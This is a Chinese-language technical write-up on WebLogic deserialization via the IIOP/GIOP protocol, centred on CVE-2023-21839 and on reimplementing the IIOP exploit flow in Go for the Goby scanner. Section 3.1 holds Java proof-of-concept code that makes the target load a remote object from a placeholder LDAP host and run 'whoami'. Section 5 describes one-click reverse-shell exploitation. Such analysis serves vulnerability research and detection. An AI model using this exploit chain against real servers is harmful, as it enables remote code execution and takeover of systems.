跨越语言的艺术:Weblogic序列化漏洞与IIOP协议
字数 2554 2025-08-11 08:36:24
Weblogic IIOP协议与序列化漏洞深度解析
1. 概述
Weblogic的序列化漏洞主要依赖于T3和IIOP协议,这两种协议在通信交互过程中存在跨语言、网络传输等问题。本文重点探讨IIOP协议在Weblogic序列化漏洞中的应用,特别是如何通过跨语言方式实现IIOP协议通信来解决序列化漏洞问题。
2. Weblogic IIOP协议基础
2.1 相关协议定义
-
GIOP (General Inter-ORB Protocol): CORBA规范定义的协议,用于分布式对象间通信
- 定义了对象请求、响应、异常、命名等基本通信模式和协议规范
- 是抽象协议标准,非具体实现
-
IIOP (Internet Inter-ORB Protocol):
- 实现了GIOP协议的TCP/IP协议栈
- 使CORBA对象能通过Internet进行分布式通信
-
RMI-IIOP:
- Java远程方法调用协议的实现方式
- 在IIOP协议上扩展了Java RMI协议
- 使Java对象能通过IIOP协议进行分布式通信
2.2 Weblogic中的协议关系
- T3协议本质上是RMI中传输数据使用的协议
- RMI-IIOP可以兼容RMI和IIOP
- 在Weblogic中,能通过T3序列化恶意代码的都可以通过IIOP协议进行序列化
- 对于启用了IIOP和T3协议的Weblogic,序列化数据协议传输过程没有本质区别
3. IIOP攻击流程分析
以CVE-2023-21839为例,Weblogic IIOP攻击流程如下:
- 初始化上下文信息:使用
InitialContext()建立连接 - 绑定恶意对象:使用
rebind()方法向注册端绑定恶意对象 - 触发漏洞:通过
lookup()方法触发漏洞远程加载恶意地址中的存根对象 - 执行攻击:恶意对象执行自绑定操作,将回显对象绑定到Weblogic注册端
- 远程调用:调用回显对象中的方法实现攻击回显
3.1 Java攻击代码示例
public class main {
public static void main(String[] args) throws NamingException, RemoteException {
ForeignOpaqueReference foreignOpaqueReference = new ForeignOpaqueReference("ldap://xxx.xxx.xxx.xxx:1389/exp", null);
String iiop_addr = "iiop://10.211.55.4:7001";
Hashtable<String, String> env = new Hashtable<String, String>();
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", iiop_addr);
Context context = new InitialContext(env);
String bind_name = String.valueOf(System.currentTimeMillis());
context.rebind(bind_name, foreignOpaqueReference);
context.lookup(bind_name);
ClusterMasterRemote clusterMasterRemote = (ClusterMasterRemote)context.lookup("selfbind_name");
System.out.println(clusterMasterRemote.getServerLocation("whoami"));
}
}
3.2 Java攻击流程详解
-
初始化上下文:
- 客户端初始化上下文信息
new InitialContext() - 通过
locateNameService()方法封装目标地址、序列化对象到IIOP请求包(LocateRequest消息) - 与Weblogic服务端建立通信
- 客户端初始化上下文信息
-
建立连接:
- 客户端收到服务端的LocateReply消息表示通信已建立
- 解析响应消息体中的信息(Key Address、内部类地址、上下文等)
- 这些信息将作为下次请求的验证信息
-
绑定对象:
- 使用建立交互时服务端响应包中的Key Address作为下次请求中的Key Address
- 执行
bind()或rebind()方法时,绑定对象名称、序列化数据封装到请求消息体的Stub data字段
-
查找对象:
- 执行
lookup()方法时,根据上下文对象类型决定调用的lookup()方法 - 通过
Utils.stringToWNameComponent()方法转换字符串为WNameComponent数组 - 通过
resolve_any()方法将消息封装成序列化字节流发送给服务端
- 执行
4. IIOP跨语言实现
4.1 实现思路
协议通信本质是字节流在网络中传输数据,因此Go实现IIOP协议的方式就是模拟IIOP通信的字节流。攻击流程可分为:
- 初始化上下文,建立交互连接(LocateRequest/LocateReply消息)
- 绑定远程对象(Request消息,rebind_any方法)
- 获取远程对象(Request消息,lookup方法)
- 执行对象方法
4.2 GIOP协议规范
GIOP消息由消息头和消息体组成:
消息头:
- Magic(GIOP标识)
- Version(GIOP版本)
- Message Flags(标志位)
- Message type(消息类型)
- Message size(消息体长度)
消息体:
- Request id(请求标识)
- TargetAddress(请求目标对象键ID)
- Key Address(Key地址)
- Reqest operation(操作方法)
- SerivceContext(服务上下文信息)
4.3 通信流程
- 客户端发送LocateRequest消息建立通信
- 服务端响应LocateReply消息开始交互
- 客户端发送Request消息执行服务端方法
- 服务端正常解析则回应Reply(No Exception),否则回应Reply(User/System Exception)
4.4 具体实现步骤
4.4.1 初始化上下文
// 模拟Java中的 new InitialContext(env)
// 对应IIOP协议中的LocateRequest消息
实现要点:
- LocateRequest是固定格式的序列
- 服务端响应LocateReply消息
- 解析响应中的Key Address length和Key Address
- 发送
_non_existentRequest验证Key Address有效性
4.4.2 绑定远程对象
// 模拟Java中的 context.rebind(bind_name, foreignOpaqueReference)
// 对应IIOP协议中的rebind_any方法
实现要点:
- 操作方法名为rebind_any
- 将绑定名称和序列化对象添加到Stub data部分
- 封装成GIOP字节流发送
4.4.3 获取远程对象
// 模拟Java中的 context.lookup(bind_name)
// 对应IIOP协议中的resolve_any方法
实现要点:
- 操作方法名为resolve_any
- 将存根命名信息放到Stub data中
- 解析响应生成的新Key Address用于后续方法调用
4.4.4 执行对象方法
// 模拟Java中的 clusterMasterRemote.getServerLocation("whoami")
实现要点:
- Request operation字段设置为方法名
- Operation length设置为方法名长度
- Stub data中设置执行方法的字节流
- 封装成GIOP字节流发送
5. 漏洞利用实例
以CVE-2023-21839为例,在Goby中实现的攻击效果包括:
- 一键回显
- 一键反弹shell
关键实现技术:
- 完全通过Go语言实现IIOP协议
- 避免使用外挂Java程序
- 解决NET网络问题
- 实现简洁高效的漏洞检测和利用
6. 总结
通过深入分析IIOP协议和Weblogic序列化机制,可以实现:
- 跨语言的IIOP协议实现
- 解决序列化漏洞检测中的网络问题
- 简洁高效的漏洞利用框架
- 在安全工具中集成高级攻击能力
这种基于协议字节流模拟的实现方式,为其他类似协议的跨语言实现提供了参考。